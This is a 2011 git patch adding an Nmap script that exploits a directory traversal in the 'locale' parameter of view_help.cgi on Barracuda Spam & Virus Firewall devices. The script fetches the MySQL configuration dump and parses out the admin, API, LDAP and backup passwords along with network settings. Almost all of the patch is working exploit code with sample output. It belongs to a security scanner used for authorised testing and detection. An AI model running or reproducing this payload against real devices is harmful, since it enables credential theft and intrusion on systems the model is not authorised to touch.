From 651197768b4e524dcb1dce02cff555c61e686c02 Mon Sep 17 00:00:00 2001 From: paulino Date: Tue, 28 Jun 2011 23:43:34 +0000 Subject: [PATCH] Adds http-barracuda-dir-traversal - Attempts to retrieve the configuration settings from the MySQL database dump on a Barracuda Networks Spam & Virus Firewall device using the directory traversal vulnerability in the "locale" parameter of "/cgi-mod/view_help.cgi" or "/cgi-bin/view_help.cgi". The web administration interface runs on port 8000 by default. Barracuda Networks Spam & Virus Firewall <= 4.1.1.021 Remote Configuration Retrieval Original exploit by ShadowHatesYou For more information, see: http://seclists.org/fulldisclosure/2010/Oct/119 http://www.exploit-db.com/exploits/15130/ --- scripts/http-barracuda-dir-traversal.nse | 181 +++++++++++++++++++++++ scripts/script.db | 1 + 2 files changed, 182 insertions(+) create mode 100644 scripts/http-barracuda-dir-traversal.nse diff --git a/scripts/http-barracuda-dir-traversal.nse b/scripts/http-barracuda-dir-traversal.nse new file mode 100644 index 000000000..cd4b8c4c9 --- /dev/null +++ b/scripts/http-barracuda-dir-traversal.nse @@ -0,0 +1,181 @@ +description = [[ +Attempts to retrieve the configuration settings from the MySQL database +dump on a Barracuda Networks Spam & Virus Firewall device using the +directory traversal vulnerability in the "locale" parameter of +"/cgi-mod/view_help.cgi" or "/cgi-bin/view_help.cgi". + +The web administration interface runs on port 8000 by default. + +Barracuda Networks Spam & Virus Firewall <= 4.1.1.021 Remote Configuration Retrieval +Original exploit by ShadowHatesYou +For more information, see: +http://seclists.org/fulldisclosure/2010/Oct/119 +http://www.exploit-db.com/exploits/15130/ +]] + +--- +-- @usage +-- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p +-- +-- @args http-max-cache-size +-- Set max cache size. The default value is 100,000. +-- Barracuda config files vary in size mostly due to the number +-- of users. Using a max cache size of 5,000,000 bytes should be +-- enough for config files containing up to 5,000 users. +-- +-- @output +-- PORT STATE SERVICE REASON +-- 8000/tcp open http syn-ack Barracuda Spam firewall http config +-- | http-barracuda-dir-traversal: +-- | Users: 256 +-- | Device: Barracuda Spam Firewall +-- | Version: 4.1.0.0 +-- | Hostname: barracuda +-- | Domain: example.com +-- | Timezone: America/Chicago +-- | Language: en_US +-- | Password: 123456 +-- | API Password: 123456 +-- | MTA SASL LDAP Password: 123456 +-- | Gateway: 192.168.1.1 +-- | Primary DNS: 192.168.1.2 +-- | Secondary DNS: 192.168.1.3 +-- | DNS Cache: No +-- | Backup Server: ftp.example.com +-- | Backup Port: 21 +-- | Backup Type: ftp +-- | Backup Username: user +-- | Backup Password: 123456 +-- | NTP Enabled: Yes +-- | NTP Server: update01.barracudanetworks.com +-- | SSH Enabled: Yes +-- | BRTS Enabled: No +-- | BRTS Server: fp.bl.barracudanetworks.com +-- | HTTP Port: 8000 +-- | HTTP Disabled: No +-- | HTTPS Port: 443 +-- | HTTPS Only: No +-- | +-- | Vulnerable to directory traversal vulnerability: +-- |_http://seclists.org/fulldisclosure/2010/Oct/119 +-- +-- @changelog +-- 2011-06-08 - created by Brendan Coles +-- 2011-06-10 - added user count +-- - looped path detection +-- 2011-06-15 - looped system info extraction +-- - changed service portrule to "barracuda" +-- + +author = "Brendan Coles" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "exploit", "auth"} + +require("url") +require("dns") +require("http") +require("ipOps") +require("stdnse") +require("shortport") + +portrule = shortport.port_or_service (8000, "barracuda", {"tcp"}) + +action = function(host, port) + + local result = {} + local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"} + local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00" + local user_count = 0 + local config_file = "" + + -- Loop through vulnerable files + stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) + for _, path in ipairs(paths) do + + -- Retrieve file + data = http.get(host, port, tostring(path)) + if data and data.status then + + -- Check if file exists + stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path)) + if tostring(data.status):match("200") then + + -- Attempt config file retrieval with LFI exploit + stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload)) + data = http.get(host, port, tostring(path .. payload)) + if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then + + -- Check if the HTTP response contains a valid config file in MySQL database dump format + if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda\.css") then + config_file = data.body + break + end + + else + stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload)) + end + + end + + else + stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path)) + end + + end + + -- No config file found + if config_file == "" then + stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) + return + end + + -- Extract system info from config file in MySQL dump format + stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME) + + -- Count users + if string.match(config_file, "'user_default_email_address',") then + for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end + end + table.insert(result, string.format("Users: %s", user_count)) + + -- Extract system info + local vars = { + {"Device", "branding_device_name"}, + {"Version","httpd_last_release_notes_version_read"}, + {"Hostname","system_default_hostname"}, + {"Domain","system_default_domain"}, + {"Timezone","system_timezone"}, + {"Language","default_ndr_lang"}, + {"Password","system_password"}, + {"API Password","api_password"}, + {"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"}, + {"Gateway","system_gateway"}, + {"Primary DNS","system_primary_dns_server"}, + {"Secondary DNS","system_secondary_dns_server"}, + {"DNS Cache","dns_cache"}, + {"Backup Server","backup_server"}, + {"Backup Port","backup_port"}, + {"Backup Type","backup_type"}, + {"Backup Username","backup_username"}, + {"Backup Password","backup_password"}, + {"NTP Enabled","system_ntp"}, + {"NTP Server","system_ntp_server"}, + {"SSH Enabled","system_ssh_enable"}, + {"BRTS Enabled","brts_enable"}, + {"BRTS Server","brts_lookup_domain"}, + {"HTTP Port","http_port"}, + {"HTTP Disabled","http_shutoff"}, + {"HTTPS Port","https_port"}, + {"HTTPS Only","https_only"}, + } + for _, var in ipairs(vars) do + local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2])) + if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end + end + + table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119") + + -- Return results + return stdnse.format_output(true, result) + +end diff --git a/scripts/script.db b/scripts/script.db index b243f8bdb..5e2e544d8 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -60,6 +60,7 @@ Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "s Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } } Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } } Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } } +Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } } Entry { filename = "http-brute.nse", categories = { "auth", "intrusive", } } Entry { filename = "http-cakephp-version.nse", categories = { "discovery", "safe", } } Entry { filename = "http-date.nse", categories = { "discovery", "safe", } }